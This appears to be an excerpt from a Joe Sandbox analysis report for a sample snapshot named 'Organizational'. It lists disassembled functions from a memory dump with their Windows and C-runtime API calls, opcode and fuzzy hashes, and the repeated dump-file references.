Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: __ftell_nolock__getptd_noexit__lock_file
String ID:
API String ID: 2999321469-0
Opcode ID: 03ed8273f4e6f66e250078ffd3f0dc38011b1ab8d180a9edf93082895f0bc660
Instruction ID: e42848b6fdd076c504a35ec584da249925ce94d8def74844285aa5e048a7f4e2
Opcode Fuzzy Hash: 03ed8273f4e6f66e250078ffd3f0dc38011b1ab8d180a9edf93082895f0bc660
Instruction Fuzzy Hash: F4F0A072D51615DADB00BB748E037DE72A06F81771F214206B424AB1D2CFBC8AC3BB95

Function 00F05AC3 Relevance: 3.0, APIs: 2, Instructions: 25windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F05AEF
Shell_NotifyIconW.SHELL32(00000002,?), ref: 00F05B1F

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: IconNotifyShell__memset
String ID:
API String ID: 928536360-0
Opcode ID: 4fdef377b67ad4c56adf38b22ebfaba8c65d78d9cc88f5c500c10617eae07d75
Instruction ID: 4175493657db1f62ea41b5422707e7220d1357bc7af079a68cfc5fe7b8c197e4
Opcode Fuzzy Hash: 4fdef377b67ad4c56adf38b22ebfaba8c65d78d9cc88f5c500c10617eae07d75
Instruction Fuzzy Hash: BFF0A77091830C9FD7A2DB64DC857E6B7BC9B4030CF0002E9AA4896292DB754B88DF51

Function 00F6C355 Relevance: 1.8, APIs: 1, Instructions: 288COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: LoadString$__swprintf
String ID:
API String ID: 207118244-0
Opcode ID: 988a226732269fd2f089e2a232d1e8a84918afd0917345ce789f9274cd20922b
Instruction ID: 73b68ac93e2531e424c962b7a1200f0c876d5b18d36dc68dc2c383dc2348c875
Opcode Fuzzy Hash: 988a226732269fd2f089e2a232d1e8a84918afd0917345ce789f9274cd20922b
Instruction Fuzzy Hash: 10B14A35E0010AEFCB14EF94C891DFEBBB5FF48710F14811AE956A7291EB35A941EB90

Function 00EFA820 Relevance: 1.7, APIs: 1, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0e5af78225d6d3d36f6d680479f726b6aede2d0f2297c8db7b636f6276ddc96
Instruction ID: 7d213f64286addcee02e5105d683a508a4953cac8a2c22818f6c8b00cade6344
Opcode Fuzzy Hash: e0e5af78225d6d3d36f6d680479f726b6aede2d0f2297c8db7b636f6276ddc96
Instruction Fuzzy Hash: 4761CEB060020A9FCB14DF50D885ABAB7F5EF84350F19817DEA1AAB291D7B4ED80DB51

Function 00EFD679 Relevance: 1.7, APIs: 1, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cda0315b1e3db3a754806c0c2b51e9201ab801c7f394b5464436a7a73392aafe
Instruction ID: 400c8a6551abf8884379b9cf403491fe13b2c440c3b193adbfc9ce0f09c39ca4
Opcode Fuzzy Hash: cda0315b1e3db3a754806c0c2b51e9201ab801c7f394b5464436a7a73392aafe
Instruction Fuzzy Hash: 6951A075704608AFCB14EB64CD91EBE77A6AF85720F158158F906AB3D2CB34ED05EB40

Function 00F0343F Relevance: 1.6, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00F0351A

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: c9f64c45f400e17b5458663199bf4a27315daf1ddd9ff02163ddc624897d631a
Instruction ID: 63ab4cb53a05704ccb58119b5b3a0efa37f02b0e4d8a64868e12f576c85134e2
Opcode Fuzzy Hash: c9f64c45f400e17b5458663199bf4a27315daf1ddd9ff02163ddc624897d631a
Instruction Fuzzy Hash: 0931C379A04602DFC724DF18D840A21F7A8FF48320714C56AE98A8F7A5DB30DC81FB80

Function 00F0410A Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,?,00000001,00000000,00000000,00000000,00000000,00000000), ref: 00F041B2

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 026435dbc5002bc302baf83829c2e697bf02021fb16cea7741f6b756d3acddab
Instruction ID: dcfc3064b52114f1c1eb4a6ec02ea6b3af45d9dda0369607afb4b2df93747330
Opcode Fuzzy Hash: 026435dbc5002bc302baf83829c2e697bf02021fb16cea7741f6b756d3acddab
Instruction Fuzzy Hash: 883170B1A0061AAFCB19CF2CC8806ADB7B1FF54320F148629ED1593750D770BDA0EB90

Function 00F2E2DF Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00F2E2EA

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: a240ff76932633db89af50d19c9939a278075f0a82a39b345d2876b7f12cc213
Instruction ID: 28ab34b441ea487109d66bbf91f3b4c5650375d15c63d87373d586c3390ec0d2
Opcode Fuzzy Hash: a240ff76932633db89af50d19c9939a278075f0a82a39b345d2876b7f12cc213
Instruction Fuzzy Hash: DF414A74508355DFDB24DF14C484B2ABBE1BF44318F1989ACE9899B362C336EC85DB52

Function 00F049C2 Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F04B29: FreeLibrary.KERNEL32(00000000,?), ref: 00F04B63

Part of subcall function 00F1547B: __wfsopen.LIBCMT ref: 00F15486

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,00F027AF,?,00000001), ref: 00F049F4

Part of subcall function 00F04ADE: FreeLibrary.KERNEL32(00000000), ref: 00F04B18

Part of subcall function 00F048B0: _memmove.LIBCMT ref: 00F048FA

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Library$Free$Load__wfsopen_memmove
String ID:
API String ID: 1396898556-0
Opcode ID: 6184c93a218f4d06aba9bbe624e5ff36efbf32dc327adbf4984d80a27b514163
Instruction ID: 6cf7935571154d087488ed9128434402f2600139299b5881b65a9df6c77576a2
Opcode Fuzzy Hash: 6184c93a218f4d06aba9bbe624e5ff36efbf32dc327adbf4984d80a27b514163
Instruction Fuzzy Hash: 2C11E772750205ABDB14FF74CD06FAE77A99F40711F108429FA41A61C1EE7CAA14B794

Function 00F2E3C2 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 00F2E3CE

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 3c872586c6a83b49469388addf2ad73797504496c466a495a86d7222f0ad4d8d
Instruction ID: 7e0f10b457c48bb52fa1d3099f1d1f3dee6ffe40fc5e1b006182115c6af2f8b8
Opcode Fuzzy Hash: 3c872586c6a83b49469388addf2ad73797504496c466a495a86d7222f0ad4d8d
Instruction Fuzzy Hash: BE212574908355DFDB54DF14C844B6ABBE0BF88304F05496CFA8A67362D731E849DB92

Function 00F04220 Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00000000,?,00010000,00000000,00000000,00000000,00000000,00010000,?,00F03CF8,00000000,00010000,00000000,00000000,00000000,00000000), ref: 00F04276

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: b29281158d0b2f9366187ba7ece13ccfe98660fa4bf785185440ad322499525a
Instruction ID: 148b39ae88076ef35759f2292c8d9003a3c4ebde07ab00549da7fa835b5b801f
Opcode Fuzzy Hash: b29281158d0b2f9366187ba7ece13ccfe98660fa4bf785185440ad322499525a
Instruction Fuzzy Hash: 8A114CB1600B019FD730CF55C980B62B7F5EF88720F10C92DEAAA86A90D770F845EB60

Function 00F01A36 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00F01A77

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 602e865249ec947d912e947e17fccc617bf4509f125e4f05857fa8c8b0e3221e
Instruction ID: 71da2c6a14da7ebc985c2459d91ed62263df9902e1e876c59786963d16f5d42f
Opcode Fuzzy Hash: 602e865249ec947d912e947e17fccc617bf4509f125e4f05857fa8c8b0e3221e
Instruction Fuzzy Hash: 2701D6726017016ED7245B38DC06BA7BB98EB447A0F50852EFA1ACA1D1EB75E490A7A0

Function 00F4FEF8 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00F4FF33

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: cc5625e1f20a0cd097ccf851359f3205128236cd68aebd9dbd04220413b2413c
Instruction ID: 05c9fd88305d8b1c5af389d25d37a789928be46724bebc5e38181466ea57fd9e
Opcode Fuzzy Hash: cc5625e1f20a0cd097ccf851359f3205128236cd68aebd9dbd04220413b2413c
Instruction Fuzzy Hash: 3B01F9322002156BCB14DF2DCC9196BB7A9EFC6364714853EF90ECB205E631E845C790

Function 00F6495B Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32(?,?,00007FFF,00000000), ref: 00F64998

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: EnvironmentVariable
String ID:
API String ID: 1431749950-0
Opcode ID: 919c177a0a0c9e6ddfaefdc4c44d380a07755ceaa355fd83418e09d522ad256a
Instruction ID: 690126545169e263c63ce95e50d606b986eda69de99fc2114b2eb040f4c0945e
Opcode Fuzzy Hash: 919c177a0a0c9e6ddfaefdc4c44d380a07755ceaa355fd83418e09d522ad256a
Instruction Fuzzy Hash: 21F03175608208AF8B14FB65DC46CAF77BCEF49320B004155F9089B2A1DE75BD81EB60

Function 00F57C7F Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 00F10FE6: std::exception::exception.LIBCMT ref: 00F1101C
Part of subcall function 00F10FE6: __CxxThrowException@8.LIBCMT ref: 00F11031

_memset.LIBCMT ref: 00F57CB4

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Exception@8Throw_memsetstd::exception::exception
String ID:
API String ID: 525207782-0
Opcode ID: 5db2a621b77f9f51e6d0df2e5d73dbc3d80b50fddd4bc919c38652e4ccf84bab
Instruction ID: 3c7e497da9a615dd15fd1f5694c238f748a63110281b74e1e4a1a6188f02c94d
Opcode Fuzzy Hash: 5db2a621b77f9f51e6d0df2e5d73dbc3d80b50fddd4bc919c38652e4ccf84bab
Instruction Fuzzy Hash: C601FB756042049FD321EF5CD942F45BBE1EF5D310F258459F5888B392DB76E881EB90

Function 00F04A8C Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

_fseek.LIBCMT ref: 00F04AA4

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: _fseek
String ID:
API String ID: 2937370855-0
Opcode ID: d626904f6cb88cfd62378aba53a4cab051f17c1c31bafaeec442f62cde18398f
Instruction ID: 79d197bba019f81789f47061d06231f202239bfc235a6fc8fbd1ff5e7995169e
Opcode Fuzzy Hash: d626904f6cb88cfd62378aba53a4cab051f17c1c31bafaeec442f62cde18398f
Instruction Fuzzy Hash: 59F052B6900208BBDF108F84DC00DEABB69EB89720F004598FA045A210D232EA61ABA0

Function 00F04A2F Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,00F027AF,?,00000001), ref: 00F04A63

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 18976368c5092bc0507677532f350141054a1e31ebca050135fe9fc43c84bf58
Instruction ID: e39e262403306dde2b75ab85c4fd5a8378355b0b1aba67f3f14af4b918a7ef2c
Opcode Fuzzy Hash: 18976368c5092bc0507677532f350141054a1e31ebca050135fe9fc43c84bf58
Instruction Fuzzy Hash: DCF08CB2640701CFCB348F24D484816BBF0AF84329310892EE2D683650C735A984FB04

Function 00F04AB2 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00F04AD0

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 1a81c16e28573863898c67bef1386d759a1651ff521f05548b9e3597368886a1
Instruction ID: 4cdf51e513a056ff94efd697b60c725f9cd39c1b57361dd8a5bd6047572c5355
Opcode Fuzzy Hash: 1a81c16e28573863898c67bef1386d759a1651ff521f05548b9e3597368886a1
Instruction Fuzzy Hash: D2F0587240020DFFDF04DF80C941EAABB79FB04324F208189FD198A252D336EA61EB90

Function 00F109C5 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32(?,?,00007FFF), ref: 00F109E4

Part of subcall function 00F01821: _memmove.LIBCMT ref: 00F0185B

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: LongNamePath_memmove
String ID:
API String ID: 2514874351-0
Opcode ID: 7cefa9c0bb71acdc864ed8f030be8f9d609d39e2e522f8456cec8abce90b3dbe
Instruction ID: 7ca023a5bdfb18f6fad8d9be14c6a4d238b6715c7d381c4889382a8c3185f8e0
Opcode Fuzzy Hash: 7cefa9c0bb71acdc864ed8f030be8f9d609d39e2e522f8456cec8abce90b3dbe
Instruction Fuzzy Hash: 1EE0863290012857C72196989C05FEA77EDEB89790F0441B6FC08D7254D9649D859691

Function 00F54D18 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,?), ref: 00F54D31

Part of subcall function 00F01821: _memmove.LIBCMT ref: 00F0185B

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: FolderPath_memmove
String ID:
API String ID: 3334745507-0
Opcode ID: c531aa9ef501e09df578d417ee7c1d7ddff870d480766c2813926756ff2c824b
Instruction ID: 5ceed74525c67dbab03002c964fc446734a0ff2b01082fe734f494ac9e7ad75a
Opcode Fuzzy Hash: c531aa9ef501e09df578d417ee7c1d7ddff870d480766c2813926756ff2c824b
Instruction Fuzzy Hash: E3D05EB190032C2BDB60E6A49C0DDF77BACE744220F0006A1BC5CD3142ED249D4586E0

Function 00F5394D Relevance: 1.5, APIs: 1, Instructions: 20fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F5384C: SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000001,00000000,00000000,00F53959,00000000,00000000,?,00F405DB,00FA8070,00000002,?,?), ref: 00F538CA

WriteFile.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,?,00F405DB,00FA8070,00000002,?,?,?,00000000), ref: 00F53967

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

